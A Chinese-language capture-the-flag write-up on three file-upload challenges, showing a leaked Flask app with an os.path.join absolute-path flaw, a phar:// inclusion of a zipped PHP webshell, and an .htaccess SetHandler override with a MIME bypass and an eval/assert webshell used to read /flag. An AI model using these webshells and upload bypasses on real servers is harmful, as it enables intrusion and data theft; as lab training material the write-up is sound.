当前位置:   article > 正文

CTF-文件上传_ctf文件上传 传不上去

ctf文件上传 传不上去

[NISACTF 2022] babyupload

界面没什么好稀奇的,上来就是上传文件:

这里在测试的时候,发现无论怎么上传都提示bad filename!奇奇怪怪;f12源代码,发现:

存在着提示?尝试访问,发现存在源码的泄露,代码审计:

  1. from flask import Flask, request, redirect, g, send_from_directory
  2. import sqlite3
  3. import os
  4. import uuid
  5. app = Flask(__name__)
  6. SCHEMA = """CREATE TABLE files (
  7. id text primary key,
  8. path text
  9. );
  10. """
  11. def db():
  12. g_db = getattr(g, '_database', None)
  13. if g_db is None:
  14. g_db = g._database = sqlite3.connect("database.db")
  15. return g_db
  16. @app.before_first_request
  17. def setup():
  18. os.remove("database.db")
  19. cur = db().cursor()
  20. cur.executescript(SCHEMA)
  21. @app.route('/')
  22. def hello_world():
  23. return """<!DOCTYPE html>
  24. <html>
  25. <body>
  26. <form action="/upload" method="post" enctype="multipart/form-data">
  27. Select image to upload:
  28. <input type="file" name="file">
  29. <input type="submit" value="Upload File" name="submit">
  30. </form>
  31. <!-- /source -->
  32. </body>
  33. </html>"""
  34. @app.route('/source')
  35. def source():
  36. return send_from_directory(directory="/var/www/html/", path="www.zip", as_attachment=True)
  37. @app.route('/upload', methods=['POST'])
  38. def upload():
  39. if 'file' not in request.files:
  40. return redirect('/')
  41. file = request.files['file']
  42. if "." in file.filename:
  43. return "Bad filename!", 403
  44. conn = db()
  45. cur = conn.cursor()
  46. uid = uuid.uuid4().hex
  47. try:
  48. cur.execute("insert into files (id, path) values (?, ?)", (uid, file.filename,))
  49. except sqlite3.IntegrityError:
  50. return "Duplicate file"
  51. conn.commit()
  52. file.save('uploads/' + file.filename)
  53. return redirect('/file/' + uid)
  54. @app.route('/file/<id>')
  55. def file(id):
  56. conn = db()
  57. cur = conn.cursor()
  58. cur.execute("select path from files where id=?", (id,))
  59. res = cur.fetchone()
  60. if res is None:
  61. return "File not found", 404
  62. # print(res[0])
  63. with open(os.path.join("uploads/", res[0]), "r") as f:
  64. return f.read()
  65. if __name__ == '__main__':
  66. app.run(host='0.0.0.0', port=80)

代码80行存在着os.path.join()函数,该函数存在着一个漏洞,看下面的例子:

  1. import os
  2. a = os.path.join('/test1','/test2');
  3. print(a); //输出的结果为/test2
  4. b = os.path.join('/test1','test2');
  5. print(b); //输出的结果为/test1/test2

存在的漏洞便是该函数的第二个参数如果以“/”开头的话,那么拼接后的路径中是不存在参数1的,会直接丢弃掉参数1的路径;

该源码的大概意思是上传文件后,文件名中不可以包含“.”,如果包含点号的话,就会提示"Bad filename!",之后便会将文件进行上传,连接数据库,创建uid,将uid和文件名一同存储在数据库中;但是我们想要读取flag,源码中已经写死了/uploads,怎么办呢?此时便需要结合os.path.join()函数的漏洞,传递文件名的时候,我们可以是让/开头,那么之后进行拼接的时候,便会将前面的路径全部舍弃;因此最终只要上传的文件名为/flag即可读取到flag:

[NISACTF 2022]bingdundun~

来到界面:

先看看源码:

提示可以上传图片或者是压缩包;经过测试仅能上传图片和压缩包,考虑到可以上传压缩包,便可以结合phar伪协议来读取压缩包中的php文件的内容;

构造php一句话木马文件,将其压缩为zip文件,之后将其上传配合phar伪协议读取文件中的内容:

  1. //刚开始的界面便看到了参数为bingdundun,利用phar伪协议读取压缩包中的文件内容
  2. //?bingdundun=phar://24811f2c93f100ca71c3e1d741e766be.zip/1
  3. //POST传参x=phpinfo();

蚁剑连马即可;

[GXYCTF 2019]BabyUpload

题目提示是.htaccess文件上传知识点的利用,但是在上传的时候,发现存在MIME检测,而且MIME类型必须为image/jpeg才能上传成功。

先上传.htaccess文件:

  1. <FilesMatch "17">
  2. SetHandler application/x-httpd-php
  3. </FilesMatch>

接着上传17.png文件,同样这里记得修改MIME信息,同时发现在上传的时候,以下一句话木马写法被过滤:

  1. <?php
  2. eval($_POST[x]);
  3. ?>
  4. //换为:
  5. <script language='php'>
  6. assert($_POST[x]);
  7. </script>

上传成功后,执行phpinfo();

没继续连马;执行x=var_dump(scandir('/'));

发现flag文件,执行x=print(file_get_contents('/flag'));得到flag;

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/2023面试高手/article/detail/646134
推荐阅读
相关标签
  

闽ICP备14008679号